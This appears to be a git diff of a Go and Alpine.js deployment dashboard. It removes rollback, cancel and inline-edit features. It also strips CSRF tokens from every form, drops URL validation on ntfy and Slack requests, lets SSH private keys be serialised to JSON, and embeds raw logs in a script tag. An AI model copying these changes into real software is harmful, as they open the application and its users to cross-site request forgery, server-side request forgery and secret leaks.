-func (svc *Service) UnlockApp(appID string) {
-	svc.unlockApp(appID)
-}
-
-// NewTestServiceWithConfig creates a Service with config and docker client for testing.
-func NewTestServiceWithConfig(log *slog.Logger, cfg *config.Config, dockerClient *docker.Client) *Service {
-	return &Service{
-		log:    log,
-		config: cfg,
-		docker: dockerClient,
-	}
-}
-
-// CleanupCancelledDeploy exposes the build directory cleanup portion of
-// cleanupCancelledDeploy for testing. It removes build directories matching
-// the deployment ID prefix.
-func (svc *Service) CleanupCancelledDeploy(
-	_ context.Context,
-	appName string,
-	deploymentID int64,
-	_ string,
-) {
-	// We can't create real models.App/Deployment in tests easily,
-	// so we test the build dir cleanup portion directly.
-	buildDir := svc.GetBuildDir(appName)
-
-	entries, err := os.ReadDir(buildDir)
-	if err != nil {
-		return
-	}
-
-	prefix := fmt.Sprintf("%d-", deploymentID)
-
-	for _, entry := range entries {
-		if entry.IsDir() && strings.HasPrefix(entry.Name(), prefix) {
-			dirPath := filepath.Join(buildDir, entry.Name())
-			_ = os.RemoveAll(dirPath)
-		}
-	}
-}
-
-// GetBuildDirExported exposes GetBuildDir for testing.
-func (svc *Service) GetBuildDirExported(appName string) string {
-	return svc.GetBuildDir(appName)
-}
--- a/internal/service/notify/notify.go
+++ b/internal/service/notify/notify.go
@@ -10,7 +10,6 @@ import (
 	"fmt"
 	"log/slog"
 	"net/http"
-	"net/url"
 	"time"

 	"go.uber.org/fx"
@@ -248,15 +247,10 @@ func (svc *Service) sendNtfy(
 ) error {
 	svc.log.Debug("sending ntfy notification", "topic", topic, "title", title)

-	parsedURL, err := url.ParseRequestURI(topic)
-	if err != nil {
-		return fmt.Errorf("invalid ntfy topic URL: %w", err)
-	}
-
 	request, err := http.NewRequestWithContext(
 		ctx,
 		http.MethodPost,
-		parsedURL.String(),
+		topic,
 		bytes.NewBufferString(message),
 	)
 	if err != nil {
@@ -266,7 +260,7 @@ func (svc *Service) sendNtfy(
 	request.Header.Set("Title", title)
 	request.Header.Set("Priority", svc.ntfyPriority(priority))

-	resp, err := svc.client.Do(request) // #nosec G704 -- URL from validated config, not user input
+	resp, err := svc.client.Do(request)
 	if err != nil {
 		return fmt.Errorf("failed to send ntfy request: %w", err)
 	}
@@ -346,15 +340,10 @@ func (svc *Service) sendSlack(
 		return fmt.Errorf("failed to marshal slack payload: %w", err)
 	}

-	parsedWebhookURL, err := url.ParseRequestURI(webhookURL)
-	if err != nil {
-		return fmt.Errorf("invalid slack webhook URL: %w", err)
-	}
-
 	request, err := http.NewRequestWithContext(
 		ctx,
 		http.MethodPost,
-		parsedWebhookURL.String(),
+		webhookURL,
 		bytes.NewBuffer(body),
 	)
 	if err != nil {
@@ -363,7 +352,7 @@ func (svc *Service) sendSlack(

 	request.Header.Set("Content-Type", "application/json")

-	resp, err := svc.client.Do(request) // #nosec G704 -- URL from validated config, not user input
+	resp, err := svc.client.Do(request)
 	if err != nil {
 		return fmt.Errorf("failed to send slack request: %w", err)
 	}
--- a/internal/service/webhook/webhook.go
+++ b/internal/service/webhook/webhook.go
@@ -143,7 +143,7 @@ func (svc *Service) triggerDeployment(
 		// even if the HTTP request context is cancelled.
 		deployCtx := context.WithoutCancel(ctx)

-		deployErr := svc.deploy.Deploy(deployCtx, app, &eventID, true)
+		deployErr := svc.deploy.Deploy(deployCtx, app, &eventID)
 		if deployErr != nil {
 			svc.log.Error("deployment failed", "error", deployErr, "app", appName)
 		}
--- a/internal/service/webhook/webhook_test.go
+++ b/internal/service/webhook/webhook_test.go
@@ -91,7 +91,6 @@ func createTestApp(
 	app.Branch = branch
 	app.DockerfilePath = "Dockerfile"
 	app.WebhookSecret = "webhook-secret-123"
-	app.WebhookSecretHash = database.HashWebhookSecret(app.WebhookSecret)
 	app.SSHPrivateKey = "private-key"
 	app.SSHPublicKey = "public-key"
 	app.Status = models.AppStatusPending
--- a/internal/ssh/keygen.go
+++ b/internal/ssh/keygen.go
@@ -12,7 +12,7 @@ import (

 // KeyPair contains an SSH key pair.
 type KeyPair struct {
-	PrivateKey string `json:"-"`
+	PrivateKey string
 	PublicKey  string
 }

--- a/static/css/input.css
+++ b/static/css/input.css
@@ -57,10 +57,6 @@
    @apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed bg-success-500 text-white hover:bg-success-700 active:bg-green-800 focus:ring-green-500 shadow-elevation-1 hover:shadow-elevation-2;
  }

-  .btn-warning {
-    @apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed bg-warning-500 text-white hover:bg-warning-700 active:bg-orange-800 focus:ring-orange-500 shadow-elevation-1 hover:shadow-elevation-2;
-  }
-
  .btn-text {
    @apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed text-primary-600 hover:bg-primary-50 active:bg-primary-100;
  }
--- a/static/js/app.js
+++ b/static/js/app.js
@@ -61,21 +61,15 @@ document.addEventListener("alpine:init", () => {
     */
    scrollToBottom(el) {
      if (el) {
+        // Use double RAF to ensure DOM has fully updated and reflowed
+        requestAnimationFrame(() => {
          requestAnimationFrame(() => {
            el.scrollTop = el.scrollHeight;
          });
+        });
      }
    },

-    /**
-     * Check if a scrollable element is at (or near) the bottom.
-     * Tolerance of 30px accounts for rounding and partial lines.
-     */
-    isScrolledToBottom(el, tolerance = 30) {
-      if (!el) return true;
-      return el.scrollHeight - el.scrollTop - el.clientHeight <= tolerance;
-    },
-
    /**
     * Copy text to clipboard
     */
@@ -182,71 +176,27 @@ document.addEventListener("alpine:init", () => {
    showBuildLogs: !!config.initialDeploymentId,
    deploying: false,
    deployments: [],
-    // Track whether user wants auto-scroll (per log pane)
-    _containerAutoScroll: true,
-    _buildAutoScroll: true,
-    _pollTimer: null,

    init() {
      this.deploying = Alpine.store("utils").isDeploying(this.appStatus);
      this.fetchAll();
-      this._schedulePoll();
-
-      // Set up scroll listeners after DOM is ready
-      this.$nextTick(() => {
-        this._initScrollTracking(this.$refs.containerLogsWrapper, '_containerAutoScroll');
-        this._initScrollTracking(this.$refs.buildLogsWrapper, '_buildAutoScroll');
-      });
-    },
-
-    _schedulePoll() {
-      if (this._pollTimer) clearTimeout(this._pollTimer);
-      const interval = Alpine.store("utils").isDeploying(this.appStatus) ? 1000 : 10000;
-      this._pollTimer = setTimeout(() => {
-        this.fetchAll();
-        this._schedulePoll();
-      }, interval);
-    },
-
-    _initScrollTracking(el, flag) {
-      if (!el) return;
-      el.addEventListener('scroll', () => {
-        this[flag] = Alpine.store("utils").isScrolledToBottom(el);
-      }, { passive: true });
+      setInterval(() => this.fetchAll(), 1000);
    },

    fetchAll() {
      this.fetchAppStatus();
-      // Only fetch logs when the respective pane is visible
-      if (this.$refs.containerLogsWrapper && this._isElementVisible(this.$refs.containerLogsWrapper)) {
      this.fetchContainerLogs();
-      }
-      if (this.showBuildLogs && this.$refs.buildLogsWrapper && this._isElementVisible(this.$refs.buildLogsWrapper)) {
      this.fetchBuildLogs();
-      }
      this.fetchRecentDeployments();
    },

-    _isElementVisible(el) {
-      if (!el) return false;
-      // Check if element is in viewport (roughly)
-      const rect = el.getBoundingClientRect();
-      return rect.bottom > 0 && rect.top < window.innerHeight;
-    },
-
    async fetchAppStatus() {
      try {
        const res = await fetch(`/apps/${this.appId}/status`);
        const data = await res.json();
-        const wasDeploying = this.deploying;
        this.appStatus = data.status;
        this.deploying = Alpine.store("utils").isDeploying(data.status);

-        // Re-schedule polling when deployment state changes
-        if (this.deploying !== wasDeploying) {
-          this._schedulePoll();
-        }
-
        if (
          data.latestDeploymentID &&
          data.latestDeploymentID !== this.currentDeploymentId
@@ -264,15 +214,11 @@ document.addEventListener("alpine:init", () => {
      try {
        const res = await fetch(`/apps/${this.appId}/container-logs`);
        const data = await res.json();
-        const newLogs = data.logs || "No logs available";
-        const changed = newLogs !== this.containerLogs;
-        this.containerLogs = newLogs;
+        this.containerLogs = data.logs || "No logs available";
        this.containerStatus = data.status;
-        if (changed && this._containerAutoScroll) {
        this.$nextTick(() => {
          Alpine.store("utils").scrollToBottom(this.$refs.containerLogsWrapper);
        });
-        }
      } catch (err) {
        this.containerLogs = "Failed to fetch logs";
      }
@@ -285,15 +231,11 @@ document.addEventListener("alpine:init", () => {
          `/apps/${this.appId}/deployments/${this.currentDeploymentId}/logs`,
        );
        const data = await res.json();
-        const newLogs = data.logs || "No build logs available";
-        const changed = newLogs !== this.buildLogs;
-        this.buildLogs = newLogs;
+        this.buildLogs = data.logs || "No build logs available";
        this.buildStatus = data.status;
-        if (changed && this._buildAutoScroll) {
        this.$nextTick(() => {
          Alpine.store("utils").scrollToBottom(this.$refs.buildLogsWrapper);
        });
-        }
      } catch (err) {
        this.buildLogs = "Failed to fetch logs";
      }
@@ -364,22 +306,11 @@ document.addEventListener("alpine:init", () => {
    logs: "",
    status: config.status || "",
    pollInterval: null,
-    _autoScroll: true,

    init() {
      // Read initial logs from script tag (avoids escaping issues)
      const initialLogsEl = this.$el.querySelector(".initial-logs");
-      this.logs = initialLogsEl?.dataset.logs || "Loading...";
-
-      // Set up scroll tracking
-      this.$nextTick(() => {
-        const wrapper = this.$refs.logsWrapper;
-        if (wrapper) {
-          wrapper.addEventListener('scroll', () => {
-            this._autoScroll = Alpine.store("utils").isScrolledToBottom(wrapper);
-          }, { passive: true });
-        }
-      });
+      this.logs = initialLogsEl?.textContent || "Loading...";

      // Only poll if deployment is in progress
      if (Alpine.store("utils").isDeploying(this.status)) {
@@ -405,8 +336,8 @@ document.addEventListener("alpine:init", () => {
        this.logs = newLogs;
        this.status = data.status;

-        // Scroll to bottom only when content changes AND user hasn't scrolled up
-        if (logsChanged && this._autoScroll) {
+        // Scroll to bottom only when content changes
+        if (logsChanged) {
          this.$nextTick(() => {
            Alpine.store("utils").scrollToBottom(this.$refs.logsWrapper);
          });
@@ -457,18 +388,7 @@ document.addEventListener("alpine:init", () => {
      }

      this.fetchAppStatus();
-      this._scheduleStatusPoll();
-    },
-
-    _statusPollTimer: null,
-
-    _scheduleStatusPoll() {
-      if (this._statusPollTimer) clearTimeout(this._statusPollTimer);
-      const interval = this.isDeploying ? 1000 : 10000;
-      this._statusPollTimer = setTimeout(() => {
-        this.fetchAppStatus();
-        this._scheduleStatusPoll();
-      }, interval);
+      setInterval(() => this.fetchAppStatus(), 1000);
    },

    async fetchAppStatus() {
@@ -503,7 +423,6 @@ document.addEventListener("alpine:init", () => {
        // Update deploying state based on latest deployment status
        if (deploying && !this.isDeploying) {
          this.isDeploying = true;
-          this._scheduleStatusPoll(); // Switch to fast polling
        } else if (!deploying && this.isDeploying) {
          // Deployment finished - reload to show final state
          this.isDeploying = false;
--- a/templates/app_detail.html
+++ b/templates/app_detail.html
@@ -35,21 +35,10 @@
        <div class="flex gap-3">
            <a href="/apps/{{.App.ID}}/edit" class="btn-secondary">Edit</a>
            <form method="POST" action="/apps/{{.App.ID}}/deploy" class="inline" @submit="submitDeploy()">
-                {{ .CSRFField }}
                <button type="submit" class="btn-success" x-bind:disabled="deploying" x-bind:class="{ 'opacity-50 cursor-not-allowed': deploying }">
                    <span x-text="deploying ? 'Deploying...' : 'Deploy Now'"></span>
                </button>
            </form>
-            <form method="POST" action="/apps/{{.App.ID}}/deployments/cancel" class="inline" x-show="deploying" x-cloak x-data="confirmAction('Cancel the current deployment?')" @submit="confirm($event)">
-                {{ .CSRFField }}
-                <button type="submit" class="btn-danger">Cancel Deploy</button>
-            </form>
-            {{if .App.PreviousImageID.Valid}}
-            <form method="POST" action="/apps/{{.App.ID}}/rollback" class="inline" x-data="confirmAction('Roll back to the previous deployment?')" @submit="confirm($event)">
-                {{ .CSRFField }}
-                <button type="submit" class="btn-warning">Rollback</button>
-            </form>
-            {{end}}
        </div>
    </div>

@@ -112,34 +101,14 @@
                </thead>
                <tbody class="table-body">
                    {{range .EnvVars}}
-                    <tr x-data="{ editing: false }">
-                        <template x-if="!editing">
+                    <tr>
                        <td class="font-mono font-medium">{{.Key}}</td>
-                        </template>
-                        <template x-if="!editing">
                        <td class="font-mono text-gray-500">{{.Value}}</td>
-                        </template>
-                        <template x-if="!editing">
                        <td class="text-right">
-                                <button @click="editing = true" class="text-primary-600 hover:text-primary-800 text-sm mr-2">Edit</button>
-                                <form method="POST" action="/apps/{{$.App.ID}}/env-vars/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this environment variable?')" @submit="confirm($event)">
-                                    {{ $.CSRFField }}
+                            <form method="POST" action="/apps/{{$.App.ID}}/env/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this environment variable?')" @submit="confirm($event)">
                                <button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
                            </form>
                        </td>
-                        </template>
-                        <template x-if="editing">
-                            <td colspan="3">
-                                <form method="POST" action="/apps/{{$.App.ID}}/env-vars/{{.ID}}/edit" class="flex gap-2 items-center">
-                                    {{ $.CSRFField }}
-                                    <input type="text" name="key" value="{{.Key}}" required class="input flex-1 font-mono text-sm">
-                                    <input type="text" name="value" value="{{.Value}}" required class="input flex-1 font-mono text-sm">
-                                    <button type="submit" class="btn-primary text-sm">Save</button>
-                                    <button type="button" @click="editing = false" class="text-gray-500 hover:text-gray-700 text-sm">Cancel</button>
-                                </form>
-                                <p class="text-xs text-amber-600 mt-1">⚠ Container restart needed after env var changes.</p>
-                            </td>
-                        </template>
                    </tr>
                    {{end}}
                </tbody>
@@ -147,7 +116,6 @@
        </div>
        {{end}}
        <form method="POST" action="/apps/{{.App.ID}}/env" class="flex flex-col sm:flex-row gap-2">
-                {{ .CSRFField }}
            <input type="text" name="key" placeholder="KEY" required class="input flex-1 font-mono text-sm">
            <input type="text" name="value" placeholder="value" required class="input flex-1 font-mono text-sm">
            <button type="submit" class="btn-primary">Add</button>
@@ -176,40 +144,20 @@
                        </td>
                    </tr>
                    {{range .Labels}}
-                    <tr x-data="{ editing: false }">
-                        <template x-if="!editing">
+                    <tr>
                        <td class="font-mono font-medium">{{.Key}}</td>
-                        </template>
-                        <template x-if="!editing">
                        <td class="font-mono text-gray-500">{{.Value}}</td>
-                        </template>
-                        <template x-if="!editing">
                        <td class="text-right">
-                                <button @click="editing = true" class="text-primary-600 hover:text-primary-800 text-sm mr-2">Edit</button>
                            <form method="POST" action="/apps/{{$.App.ID}}/labels/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this label?')" @submit="confirm($event)">
-                                    {{ $.CSRFField }}
                                <button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
                            </form>
                        </td>
-                        </template>
-                        <template x-if="editing">
-                            <td colspan="3">
-                                <form method="POST" action="/apps/{{$.App.ID}}/labels/{{.ID}}/edit" class="flex gap-2 items-center">
-                                    {{ $.CSRFField }}
-                                    <input type="text" name="key" value="{{.Key}}" required class="input flex-1 font-mono text-sm">
-                                    <input type="text" name="value" value="{{.Value}}" required class="input flex-1 font-mono text-sm">
-                                    <button type="submit" class="btn-primary text-sm">Save</button>
-                                    <button type="button" @click="editing = false" class="text-gray-500 hover:text-gray-700 text-sm">Cancel</button>
-                                </form>
-                            </td>
-                        </template>
                    </tr>
                    {{end}}
                </tbody>
            </table>
        </div>
        <form method="POST" action="/apps/{{.App.ID}}/labels" class="flex flex-col sm:flex-row gap-2">
-                {{ .CSRFField }}
            <input type="text" name="key" placeholder="label.key" required class="input flex-1 font-mono text-sm">
            <input type="text" name="value" placeholder="value" required class="input flex-1 font-mono text-sm">
            <button type="submit" class="btn-primary">Add</button>
@@ -232,14 +180,9 @@
                </thead>
                <tbody class="table-body">
                    {{range .Volumes}}
-                    <tr x-data="{ editing: false }">
-                        <template x-if="!editing">
+                    <tr>
                        <td class="font-mono">{{.HostPath}}</td>
-                        </template>
-                        <template x-if="!editing">
                        <td class="font-mono">{{.ContainerPath}}</td>
-                        </template>
-                        <template x-if="!editing">
                        <td>
                            {{if .ReadOnly}}
                            <span class="badge-neutral">Read-only</span>
@@ -247,31 +190,11 @@
                            <span class="badge-info">Read-write</span>
                            {{end}}
                        </td>
-                        </template>
-                        <template x-if="!editing">
                        <td class="text-right">
-                                <button @click="editing = true" class="text-primary-600 hover:text-primary-800 text-sm mr-2">Edit</button>
                            <form method="POST" action="/apps/{{$.App.ID}}/volumes/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this volume mount?')" @submit="confirm($event)">
-                                    {{ $.CSRFField }}
                                <button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
                            </form>
                        </td>
-                        </template>
-                        <template x-if="editing">
-                            <td colspan="4">
-                                <form method="POST" action="/apps/{{$.App.ID}}/volumes/{{.ID}}/edit" class="flex gap-2 items-center">
-                                    {{ $.CSRFField }}
-                                    <input type="text" name="host_path" value="{{.HostPath}}" required class="input flex-1 font-mono text-sm" placeholder="/host/path">
-                                    <input type="text" name="container_path" value="{{.ContainerPath}}" required class="input flex-1 font-mono text-sm" placeholder="/container/path">
-                                    <label class="flex items-center gap-1 text-sm text-gray-600 whitespace-nowrap">
-                                        <input type="checkbox" name="readonly" value="1" {{if .ReadOnly}}checked{{end}} class="rounded border-gray-300 text-primary-600 focus:ring-primary-500">
-                                        RO
-                                    </label>
-                                    <button type="submit" class="btn-primary text-sm">Save</button>
-                                    <button type="button" @click="editing = false" class="text-gray-500 hover:text-gray-700 text-sm">Cancel</button>
-                                </form>
-                            </td>
-                        </template>
                    </tr>
                    {{end}}
                </tbody>
@@ -279,7 +202,6 @@
        </div>
        {{end}}
        <form method="POST" action="/apps/{{.App.ID}}/volumes" class="flex flex-col sm:flex-row gap-2 items-end">
-                {{ .CSRFField }}
            <div class="flex-1 w-full">
                <input type="text" name="host_path" placeholder="/host/path" required class="input font-mono text-sm">
            </div>
@@ -322,7 +244,6 @@
                        </td>
                        <td class="text-right">
                            <form method="POST" action="/apps/{{$.App.ID}}/ports/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this port mapping?')" @submit="confirm($event)">
-                {{ .CSRFField }}
                                <button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
                            </form>
                        </td>
@@ -333,7 +254,6 @@
        </div>
        {{end}}
        <form method="POST" action="/apps/{{.App.ID}}/ports" class="flex flex-col sm:flex-row gap-2 items-end">
-                {{ .CSRFField }}
            <div class="flex-1 w-full">
                <label class="block text-xs text-gray-500 mb-1">Host (external)</label>
                <input type="text" name="host_port" placeholder="8080" required pattern="[0-9]+" class="input font-mono text-sm">
@@ -359,17 +279,8 @@
            <h2 class="section-title">Container Logs</h2>
            <span x-bind:class="containerStatusBadgeClass" x-text="containerStatusLabel"></span>
        </div>
-        <div class="relative">
-            <div x-ref="containerLogsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-y-auto" style="max-height: 400px;">
-                <pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap break-words m-0" x-text="containerLogs"></pre>
-            </div>
-            <button
-                x-show="!_containerAutoScroll"
-                x-transition
-                @click="_containerAutoScroll = true; Alpine.store('utils').scrollToBottom($refs.containerLogsWrapper)"
-                class="absolute bottom-2 right-4 bg-primary-600 hover:bg-primary-700 text-white text-xs px-3 py-1 rounded-full shadow-lg opacity-90 hover:opacity-100 transition"
-                title="Scroll to bottom"
-            >↓ Follow</button>
+        <div x-ref="containerLogsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-auto" style="max-height: 400px;">
+            <pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap" x-text="containerLogs"></pre>
        </div>
    </div>

@@ -418,17 +329,8 @@
            <h2 class="section-title">Last Deployment Build Logs</h2>
            <span x-bind:class="buildStatusBadgeClass" x-text="buildStatusLabel"></span>
        </div>
-        <div class="relative">
-            <div x-ref="buildLogsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-y-auto" style="max-height: 400px;">
-                <pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap break-words m-0" x-text="buildLogs"></pre>
-            </div>
-            <button
-                x-show="!_buildAutoScroll"
-                x-transition
-                @click="_buildAutoScroll = true; Alpine.store('utils').scrollToBottom($refs.buildLogsWrapper)"
-                class="absolute bottom-2 right-4 bg-primary-600 hover:bg-primary-700 text-white text-xs px-3 py-1 rounded-full shadow-lg opacity-90 hover:opacity-100 transition"
-                title="Scroll to bottom"
-            >↓ Follow</button>
+        <div x-ref="buildLogsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-auto" style="max-height: 400px;">
+            <pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap" x-text="buildLogs"></pre>
        </div>
    </div>

@@ -437,7 +339,6 @@
        <h2 class="text-lg font-medium text-error-700 mb-4">Danger Zone</h2>
        <p class="text-error-600 text-sm mb-4">Deleting this app will remove all configuration and deployment history. This action cannot be undone.</p>
        <form method="POST" action="/apps/{{.App.ID}}/delete" x-data="confirmAction('Are you sure you want to delete this app? This action cannot be undone.')" @submit="confirm($event)">
-                {{ .CSRFField }}
            <button type="submit" class="btn-danger">Delete App</button>
        </form>
    </div>
--- a/templates/app_edit.html
+++ b/templates/app_edit.html
@@ -21,7 +21,6 @@
        {{template "alert-error" .}}

        <form method="POST" action="/apps/{{.App.ID}}" class="space-y-6">
-                {{ .CSRFField }}
            <div class="form-group">
                <label for="name" class="label">App Name</label>
                <input
--- a/templates/app_new.html
+++ b/templates/app_new.html
@@ -21,7 +21,6 @@
        {{template "alert-error" .}}

        <form method="POST" action="/apps" class="space-y-6">
-                {{ .CSRFField }}
            <div class="form-group">
                <label for="name" class="label">App Name</label>
                <input
--- a/templates/base.html
+++ b/templates/base.html
@@ -32,7 +32,6 @@
                New App
            </a>
            <form method="POST" action="/logout" class="inline">
-                {{ .CSRFField }}
                <button type="submit" class="btn-text">Logout</button>
            </form>
        </div>
--- a/templates/dashboard.html
+++ b/templates/dashboard.html
@@ -69,7 +69,6 @@
                            <a href="/apps/{{.App.ID}}" class="btn-text text-sm py-1 px-2">View</a>
                            <a href="/apps/{{.App.ID}}/edit" class="btn-secondary text-sm py-1 px-2">Edit</a>
                            <form method="POST" action="/apps/{{.App.ID}}/deploy" class="inline">
-                {{ .CSRFField }}
                                <button type="submit" class="btn-success text-sm py-1 px-2">Deploy</button>
                            </form>
                        </div>
--- a/templates/deployments.html
+++ b/templates/deployments.html
@@ -18,7 +18,6 @@
    <div class="section-header">
        <h1 class="text-2xl font-medium text-gray-900">Deployment History</h1>
        <form method="POST" action="/apps/{{.App.ID}}/deploy" @submit="submitDeploy()">
-                {{ .CSRFField }}
            <button type="submit" class="btn-success" x-bind:disabled="isDeploying" x-bind:class="{ 'opacity-50 cursor-not-allowed': isDeploying }">
                <span x-text="isDeploying ? 'Deploying...' : 'Deploy Now'"></span>
            </button>
@@ -86,19 +85,10 @@
                    </a>
                    {{end}}
                </div>
-                <div class="relative">
-                    <div x-ref="logsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-y-auto" style="max-height: 400px;">
-                        <pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap break-words m-0" x-text="logs"></pre>
+                <div x-ref="logsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-auto" style="max-height: 400px;">
+                    <pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap" x-text="logs"></pre>
                </div>
-                    <button
-                        x-show="!_autoScroll"
-                        x-transition
-                        @click="_autoScroll = true; Alpine.store('utils').scrollToBottom($refs.logsWrapper)"
-                        class="absolute bottom-2 right-4 bg-primary-600 hover:bg-primary-700 text-white text-xs px-3 py-1 rounded-full shadow-lg opacity-90 hover:opacity-100 transition"
-                        title="Scroll to bottom"
-                    >↓ Follow</button>
-                </div>
-                {{if .Logs.Valid}}<div hidden class="initial-logs" data-logs="{{.Logs.String}}"></div>{{end}}
+                {{if .Logs.Valid}}<script type="text/plain" class="initial-logs">{{.Logs.String}}</script>{{end}}
            </div>
            {{end}}
        </div>
@@ -113,7 +103,6 @@
                <p class="empty-state-description">Deploy your application to see the deployment history here.</p>
                <div class="mt-6">
                    <form method="POST" action="/apps/{{.App.ID}}/deploy" @submit="submitDeploy()">
-                {{ .CSRFField }}
                        <button type="submit" class="btn-success" x-bind:disabled="isDeploying" x-bind:class="{ 'opacity-50 cursor-not-allowed': isDeploying }">
                            <span x-text="isDeploying ? 'Deploying...' : 'Deploy Now'"></span>
                        </button>
--- a/templates/login.html
+++ b/templates/login.html
@@ -14,7 +14,6 @@
            {{template "alert-error" .}}

            <form method="POST" action="/login" class="space-y-6">
-                {{ .CSRFField }}
                <div class="form-group">
                    <label for="username" class="label">Username</label>
                    <input
--- a/templates/setup.html
+++ b/templates/setup.html
@@ -14,7 +14,6 @@
            {{template "alert-error" .}}

            <form method="POST" action="/setup" class="space-y-6">
-                {{ .CSRFField }}
                <div class="form-group">
                    <label for="username" class="label">Username</label>
                    <input